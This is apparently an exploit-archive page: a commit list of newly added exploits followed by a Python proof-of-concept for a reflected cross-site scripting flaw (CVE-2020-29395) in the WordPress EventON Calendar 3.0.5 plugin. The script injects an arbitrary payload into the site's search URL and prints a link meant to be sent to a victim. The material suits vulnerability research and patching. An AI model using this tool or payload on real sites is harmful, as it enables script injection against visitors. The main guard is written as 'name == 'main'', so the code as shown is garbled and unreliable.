4b9e53700f
18 changes to exploits/shellcodes 10-Strike Network Inventory Explorer 8.65 - Buffer Overflow (SEH) EPSON Status Monitor 3 'EPSON_PM_RPCV4_06' - Unquoted Service Path Global Registration Service 1.0.0.3 - 'GREGsvc.exe' Unquoted Service Path Pearson Vue VTS 2.3.1911 Installer - VUEApplicationWrapper Unquoted Service Path Intel(r) Management and Security Application 5.2 - User Notification Service Unquoted Service Path TypeSetter 5.1 - CSRF (Change admin e-mail) Joomla! Component GMapFP 3.5 - Unauthenticated Arbitrary File Upload Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting Online Shopping Alphaware 1.0 - Error Based SQL injection Pharmacy/Medical Store & Sale Point 1.0 - 'email' SQL Injection Setelsa Conacwin 3.7.1.2 - Local File Inclusion Multi Restaurant Table Reservation System 1.0 - Multiple Persistent XSS Tailor Management System 1.0 - Unrestricted File Upload to Remote Code Execution LEPTON CMS 4.7.0 - 'URL' Persistent Cross-Site Scripting Medical Center Portal Management System 1.0 - 'login' SQL Injection Pandora FMS 7.0 NG 749 - Multiple Persistent Cross-Site Scripting Vulnerabilities # Date: 11-14-2020 Social Networking Site - Authentication Bypass (SQli) Tendenci 12.3.1 - CSV/ Formula Injection
80 lines
No EOL
2.2 KiB
Python
Executable file
80 lines
No EOL
2.2 KiB
Python
Executable file
# Exploit Title: Wordpress Plugin EventON Calendar 3.0.5 - Reflected Cross-Site Scripting
|
|
# Date: 27.11.2020
|
|
# Exploit Author: b3kc4t (Mustafa GUNDOGDU)
|
|
# Vendor Homepage: https://www.myeventon.com/
|
|
# Version: 3.0.5
|
|
# Tested on: Ubuntu 18.04
|
|
# CVE : 2020-29395
|
|
# Description Link:
|
|
https://github.com/mustgundogdu/Research/tree/main/EventON_PLUGIN_XSS
|
|
|
|
"""
|
|
~ VULNERABLITY DETAILS ~
|
|
|
|
https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>
|
|
|
|
#
|
|
WordPress sites that use EventOn Calendar cause reflected xss vulnerability to javascript payloads injected
|
|
into the search field.
|
|
|
|
#
|
|
The following python code will inject javascript code and print out url that will be sent to victim.
|
|
If you use unicode caracters for xss , exploit will print page source.
|
|
|
|
##USAGE##
|
|
|
|
$ sudo python eventon_exploit.py --exploit --url https://target/addons/?q= --payload '<svg/onload=alert(/b3kc4t/)>'
|
|
|
|
##OUTPUT##
|
|
|
|
[+] https://target/addons/?q=<svg/onload=alert(/b3kc4t/)>
|
|
|
|
|
|
"""
|
|
import requests
|
|
import sys
|
|
import argparse
|
|
from colorama import Fore
|
|
|
|
def vuln_reflected(url, payload):
|
|
|
|
s = requests.Session()
|
|
get_request = s.get(url+payload)
|
|
|
|
if get_request.status_code == 500:
|
|
print(Fore.GREEN+"[-] COULD BE WAF, NOT BE REALIZED XSS INJECTION [-]")
|
|
|
|
else:
|
|
content_result = str(get_request.content)
|
|
search_find = content_result.find(payload)
|
|
|
|
if search_find != -1:
|
|
print(Fore.GREEN+"[+] "+str(url)+str(payload))
|
|
|
|
else:
|
|
|
|
print(content_result)
|
|
|
|
|
|
def main():
|
|
|
|
desc = "Wordpress EventON Calendar Plugin XSS"
|
|
parser = argparse.ArgumentParser(description=desc)
|
|
exp_option = parser.add_argument_group('')
|
|
parser.add_argument("--exploit", help ="", action='store_true')
|
|
parser.add_argument("--url",help="", type=str, required=False)
|
|
parser.add_argument("--payload",help="",type=str,required=False)
|
|
|
|
args = parser.parse_args()
|
|
|
|
if args.exploit:
|
|
|
|
if args.url:
|
|
|
|
if args.payload:
|
|
url = args.url
|
|
payload = args.payload
|
|
vuln_reflected(url, payload)
|
|
|
|
if name == 'main':
|
|
main() |